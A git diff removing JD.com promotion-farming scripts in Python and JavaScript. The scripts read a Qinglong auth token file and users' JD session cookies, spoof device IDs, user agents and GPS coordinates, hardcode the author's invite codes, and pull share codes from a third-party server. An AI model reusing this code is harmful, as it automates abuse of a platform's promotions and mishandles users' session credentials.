t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_china-joy_card.py b/activity/jd_china-joy_card.py deleted file mode 100644 index fbd8773..0000000 --- a/activity/jd_china-joy_card.py +++ /dev/null @@ -1,156 +0,0 @@ -# -*- coding:utf-8 -*- -""" -cron: 10 10 * * * -new Env('萌虎摇摇乐卡片信息'); -""" - -import requests -import json -import time -import os -import re -import sys -import random -import string -import urllib - - -#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script - - -def randomuserAgent(): - global uuid,addressid,iosVer,iosV,clientVersion,iPhone,ADID,area,lng,lat - - uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) - addressid = ''.join(random.sample('1234567898647', 10)) - iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) - iosV = iosVer.replace('.', '_') - clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) - iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) - ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) - - - area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) - lng='119.31991256596'+str(random.randint(100,999)) - lat='26.1187118976'+str(random.randint(100,999)) - - - UserAgent='' - if not UserAgent: - return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' - else: - return UserAgent - -#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script - - -def printf(text): - print(text) - sys.stdout.flush() - - -def load_send(): - global send - cur_path = os.path.abspath(os.path.dirname(__file__)) - sys.path.append(cur_path) - if os.path.exists(cur_path + "/sendNotify.py"): - try: - from sendNotify import send - except: - send=False - print("加载通知服务失败~") - else: - send=False - print("加载通知服务失败~") -load_send() - -def get_remarkinfo(): - url='http://127.0.0.1:5600/api/envs' - try: - with open('/ql/config/auth.json', 'r') as f: - token=json.loads(f.read())['token'] - headers={ - 'Accept':'application/json', - 'authorization':'Bearer '+token, - } - response=requests.get(url=url,headers=headers) - - for i in range(len(json.loads(response.text)['data'])): - if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': - try: - if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: - remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') - else: - remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') - except: - pass - except: - print('读取auth.json文件出错,跳过获取备注') - -def getcardinfo(ck): - url='https://api.m.jd.com/api' - headers={ - 'accept':'application/json, text/plain, */*', - 'content-type':'application/x-www-form-urlencoded', - 'origin':'https://yearfestival.jd.com', - 'content-length':'139', - 'accept-language':'zh-CN,zh-Hans;q=0.9', - 'user-agent':UserAgent, - 'referer':'https://yearfestival.jd.com/', - 'accept-encoding':'gzip, deflate, br', - 'cookie':ck - } - data='appid=china-joy&functionId=collect_bliss_cards_prod&body={"apiMapping":"/api/card/list"}&t='+str(round(time.time() * 1000))+'&loginType=2&loginWQBiz=rdcactivity' - try: - response=requests.post(url=url,headers=headers,data=data) - for i in range(len(json.loads(response.text)['data']['cardList'])): - if json.loads(response.text)['data']['cardList'][i]['cardName']=='万物更新卡': - wwgxk=json.loads(response.text)['data']['cardList'][i]['count'] - if json.loads(response.text)['data']['cardList'][i]['cardName']=='肉肉转移卡': - rrzyk=json.loads(response.text)['data']['cardList'][i]['count'] - if json.loads(response.text)['data']['cardList'][i]['cardName']=='升职加薪卡': - szjxk=json.loads(response.text)['data']['cardList'][i]['count'] - if json.loads(response.text)['data']['cardList'][i]['cardName']=='一键美颜卡': - yjmyk=json.loads(response.text)['data']['cardList'][i]['count'] - if json.loads(response.text)['data']['cardList'][i]['cardName']=='无痕摸鱼卡': - whmyk=json.loads(response.text)['data']['cardList'][i]['count'] - if json.loads(response.text)['data']['cardList'][i]['cardName']=='逢考必过卡': - fkbgk=json.loads(response.text)['data']['cardList'][i]['count'] - if json.loads(response.text)['data']['cardList'][i]['cardName']=='宇宙旅行卡': - yzlxk=json.loads(response.text)['data']['cardList'][i]['count'] - if json.loads(response.text)['data']['cardList'][i]['cardName']=='一秒脱单卡': - ymtdk=json.loads(response.text)['data']['cardList'][i]['count'] - if json.loads(response.text)['data']['cardList'][i]['cardName']=='水逆退散卡': - sntsk=json.loads(response.text)['data']['cardList'][i]['count'] - if json.loads(response.text)['data']['cardList'][i]['cardName']=='时间暂停卡': - sjztk=json.loads(response.text)['data']['cardList'][i]['count'] - printf('有'+str(wwgxk)+'张万物更新卡') - printf('其他卡片分布情况如下\n') - printf(str(rrzyk)+' '+str(szjxk)+' '+str(yjmyk)) - printf(str(whmyk)+' '+str(fkbgk)+' '+str(yzlxk)) - printf(str(ymtdk)+' '+str(sntsk)+' '+str(sjztk)+'\n\n') - except: - printf('获取卡片信息出错') - -if __name__ == '__main__': - printf('游戏入口:https://yearfestival.jd.com\n\n\n') - remarkinfos={} - get_remarkinfo()#获取备注 - try: - cks = os.environ["JD_COOKIE"].split("&")#获取cookie - except: - f = open("/jd/config/config.sh", "r", encoding='utf-8') - cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) - f.close() - for ck in cks: - ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] - try: - if remarkinfos[ptpin]!='': - printf("--账号:" + remarkinfos[ptpin] + "--") - else: - printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") - except: - printf("--账号:" + urllib.parse.unquote(ptpin) + "--") - - UserAgent=randomuserAgent()#执行前先随机获取一个UserAgent - getcardinfo(ck) \ No newline at end of file diff --git a/activity/jd_city.js b/activity/jd_city.js deleted file mode 100644 index d87bd9a..0000000 --- a/activity/jd_city.js +++ /dev/null @@ -1,394 +0,0 @@ -/* -城城领现金 -活动时间:2021-05-25到2021-06-03 -更新时间:2021-05-24 014:55 -脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js -=================================Quantumultx========================= -[task_local] -#城城领现金 -0 0-23/1 * * * jd_city.js, tag=城城领现金, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -=================================Loon=================================== -[Script] -cron "0 0-23/1 * * *" script-path=jd_city.js,tag=城城领现金 - -===================================Surge================================ -城城领现金 = type=cron,cronexp="0 0-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_city.js - -====================================小火箭============================= -城城领现金 = type=cron,script-path=jd_city.js, cronexpr="0 0-23/1 * * *", timeout=3600, enable=true - */ -const $ = new Env('城城领现金'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//自动抽奖 ,环境变量 JD_CITY_EXCHANGE -let exchangeFlag = $.getdata('jdJxdExchange') || !!0;//是否开启自动抽奖,建议活动快结束开启,默认关闭 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -let inviteCodes = [ - 'xBd-HlYMlLUzqSkuz0qzAzuayqOG3FfAIeOTGLowr29_KbnH2bV4EX4@RtGKzr_wSAn2eIKZRdRm07jvOMS2zVH-g8ri6aOIZPDcI8v7CA@RtGKzr-gRAmmdoaZQdcz30FEv6dt0Mio6a5hyr9dt0vq1P8G0g@RtGKz-ygEAj2e9aYH4U10HcN_2_yeoSSOH50A7CItcn6lB6jwQ', - 'RtGKz-ygEAj2e9aYH4U10HcN_2_yeoSSOH50A7CItcn6lB6jwQ' -] -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - await requireConfig(); - if (exchangeFlag) { - console.log(`脚本自动抽奖`) - } else { - console.log(`脚本不会自动抽奖,建议活动快结束开启,默认关闭(在6.2日自动开启抽奖),如需自动抽奖请设置环境变量 JD_CITY_EXCHANGE 为true`); - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat() - await getInfo('',true); - for (let i = 0; i < $.newShareCodes.length; ++i) { - console.log(`\n开始助力 【${$.newShareCodes[i]}】`) - let res = await getInfo($.newShareCodes[i]) - if (res && res['data'] && res['data']['bizCode'] === 0) { - if (res['data']['result']['toasts'] && res['data']['result']['toasts'][0] && res['data']['result']['toasts'][0]['status'] === '3') { - console.log(`助力次数已耗尽,跳出`) - break - } - if (res['data']['result']['toasts'] && res['data']['result']['toasts'][0]) { - console.log(`助力 【${$.newShareCodes[i]}】:${res.data.result.toasts[0].msg}`) - } - } - if ((res && res['status'] && res['status'] === '3') || (res && res.data && res.data.bizCode === -11)) { - // 助力次数耗尽 || 黑号 - break - } - } - await getInviteInfo();//雇佣 - if (exchangeFlag) { - const res = await city_lotteryAward();//抽奖 - if (res && res > 0) { - for (let i = 0; i < new Array(res).fill('').length; i++) { - await $.wait(1000) - await city_lotteryAward();//抽奖 - } - } - } else { - //默认6.2开启抽奖 - if ((new Date().getMonth() + 1) === 6 && new Date().getDate() >= 2) { - const res = await city_lotteryAward();//抽奖 - if (res && res > 0) { - for (let i = 0; i < new Array(res).fill('').length; i++) { - await $.wait(1000) - await city_lotteryAward();//抽奖 - } - } - } - } - await $.wait(1000) - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function taskPostUrl(functionId,body) { - return { - url: `${JD_API_HOST}`, - body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} -function getInfo(inviteId, flag = false) { - let body = {"lbsCity":"19","realLbsCity":"1601","inviteId":inviteId,"headImg":"","userName":""} - return new Promise((resolve) => { - $.post(taskPostUrl("city_getHomeData",body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - // if (inviteId) $.log(`\n助力结果:\n${data}\n`) - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data['data']['bizCode'] === 0) { - if (flag) console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data && data.data.result.userActBaseInfo.inviteId}\n`); - for(let vo of data.data.result && data.data.result.mainInfos || []){ - if (vo && vo.remaingAssistNum === 0 && vo.status === "1") { - console.log(vo.roundNum) - await receiveCash(vo.roundNum) - await $.wait(2*1000) - } - } - } else { - console.log(`\n\n${inviteId ? '助力好友' : '获取邀请码'}失败:${data.data.bizMsg}`) - if (flag) { - if (data.data && !data.data.result.userActBaseInfo.inviteId) { - console.log(`账号已黑,看不到邀请码\n`); - } - } - } - } else { - console.log(`\n\ncity_getHomeData失败:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function receiveCash(roundNum) { - let body = {"cashType":1,"roundNum":roundNum} - return new Promise((resolve) => { - $.post(taskPostUrl("city_receiveCash",body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - console.log(`领红包结果${data}`); - data = JSON.parse(data); - if (data['data']['bizCode'] === 0) { - console.log(`获得 ${data.data.result.currentTimeCash} 元,共计 ${data.data.result.totalCash} 元`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getInviteInfo() { - let body = {} - return new Promise((resolve) => { - $.post(taskPostUrl("city_masterMainData",body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - // console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function city_lotteryAward() { - let body = {} - return new Promise((resolve) => { - $.post(taskPostUrl("city_lotteryAward",body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - console.log(`抽奖结果:${data}`); - data = JSON.parse(data); - if (data['data']['bizCode'] === 0) { - const lotteryNum = data['data']['result']['lotteryNum']; - resolve(lotteryNum); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({url: `http://share.turinglabs.net/api/v3/city/query/10/`, 'timeout': 10000}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - let shareCodes = []; - if ($.isNode()) { - if (process.env.JD_CITY_EXCHANGE) { - exchangeFlag = process.env.JD_CITY_EXCHANGE || exchangeFlag; - } - if (process.env.CITY_SHARECODES) { - if (process.env.CITY_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.CITY_SHARECODES.split('\n'); - } else { - shareCodes = process.env.CITY_SHARECODES.split('&'); - } - } - } - console.log(`共${cookiesArr.length}个京东账号\n`); - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data["retcode"] === 13) { - $.isLogin = false; //cookie过期 - return; - } - if (data["retcode"] === 0) { - $.nickName = (data["base"] && data["base"].nickname) || $.UserName; - } else { - $.nickName = $.UserName; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const 